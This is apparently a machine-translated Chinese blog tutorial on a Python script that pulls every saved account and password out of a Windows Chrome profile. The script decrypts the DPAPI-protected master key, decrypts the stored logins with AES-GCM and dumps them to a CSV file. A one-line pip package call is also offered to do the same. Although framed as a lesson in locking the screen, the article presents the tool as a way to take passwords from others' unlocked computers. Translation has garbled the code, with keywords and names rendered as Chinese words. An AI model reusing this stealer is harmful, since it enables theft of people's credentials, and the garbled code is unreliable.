python实现自动登录网页用户名密码,python获取电脑用户名和密码
发现很多人喜欢在学校图书馆用电脑占座,出门也经常不锁屏。为了让大家养成良好的习惯,本文将分享一个小程序,可以快速获取你存储在电脑浏览器中的所有账号和密码。有兴趣的可以看看。
00-1010简介相关文档开发工具的构建环境原理简介
目录
发现很多人喜欢在学校图书馆用电脑占座(好像好多年没去过学校图书馆了),出门经常不锁屏。为了让大家养成良好的习惯,我带大家写一个小程序。无需输入任何密码,您就可以快速获取存储在电脑浏览器中的所有帐户和密码。通过实践自己的真知给你提个醒~
事不宜迟,我们愉快的开始吧~
导语
Github地址
相关文件
Python版本:3.7.8
相关模块:
皮卡丘工具模块;
Pycryptodome模块;
以及python自带的一些模块。
开发工具
安装Python并将其添加到环境变量中。pip可以安装所需的相关模块。
环境搭建
众所周知,我们的浏览器一般会存储很多我们访问过的网站的账号和密码:
通常,要查看这些密码,您需要输入电脑的开机密码。但其实我们也可以通过其他方式直接查看这些账号密码。例如,在Google Chrome中存储帐户密码的数据库文件的默认路径是:
OS . environ[ User profile ]OS . sep r appdata \ Local \ Google \ Chrome \ User Data \ Default \ log in Data
我们可以通过读取该文件获得相应的帐户密码:
读取数据库数据
def readdb(self,dbpath,master_key):
sql=SELECT origin_url,username_value,password_value,date_created,date _ last _ used FROM logins
client=sqlite3.connect(dbpath)
游标=client.cursor()
with open(self.savename, a ,newline= ,encoding=utf-8-sig )作为csv_file:
游标. execute(sql)
csv_writer=csv.writer(csv_file,dialect=(excel ))
如果不是self.write_heads_flag:
CSV _ writer . writerow(self . CSV _ heads)
self.write_heads_flag=True
信息=[]
用于cursor.fetchall()中的行:
对于范围内的idx(len(self . CSV _ heads)):
if isinstance(row[idx],bytes):
info . append(self . decrypt(row[idx],master_key))
else:
info.append(行[idx])
csv_writer.writerow(info)
信息=[]
cursor.close()
client.close()
密码是加密的结果,打印出来会是这样的:
但是解密其实很简单。正如您从在线资料中所知,我们只需要获得关键值:
获取主密钥
def getmasterkey(self,local_state_path):
导入win32加密
用open(OS . environ[ user profile ]OS . sep local _ state _ path, r ,encoding=utf-8 )作为fp:
local_state=fp.read()
本地状态=json.loads(本地状态)
master _ key=base64 . b64 decode(local _ state[ OS _ crypt ][ encrypted _ key ])
master_key=master_key[5:]
master_key=win32crypt。CryptUnprotectData(master_key,None,None,None,0)[1]
返回主密钥
然后根据键值解码:
解码
定义解密(自身,值,主密钥):
打印(值)
if值[:3]==bv10:
来自Crypto。密码导入AES
四、有效载荷=值[3:15],值[15:]
cipher=AES.new(master_key,AES。模式_GCM,iv)
解密值=cipher.decrypt(有效载荷)
解密值=解密值[:-16]。解码()
else:
导入win32加密
decrypted_value=win32crypt。CryptUnprotectData(value)[1]。解码()
返回解密值
解码后,运行结果如下:
得到的结果默认保存在results.csv中,截图如下:
好了,你完成了。有关完整的源代码,请参见相关文档。
想要快速测试的合作伙伴只需要pip来安装pikachupytools包:
pip安装pikachupytools -升级
然后只需编写几行代码来调用和运行:
从pytools导入pytools
tool_client=pytools.pytools()
tool _ client . execute( decrypt browser )
关于基于Python一键获取电脑浏览器账号密码的这篇文章到此为止。关于Python浏览器账号密码的更多信息,请搜索热门IT软件开发工作室之前的文章或者继续浏览下面的相关文章。希望大家以后多多支持热门IT软件开发工作室!
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。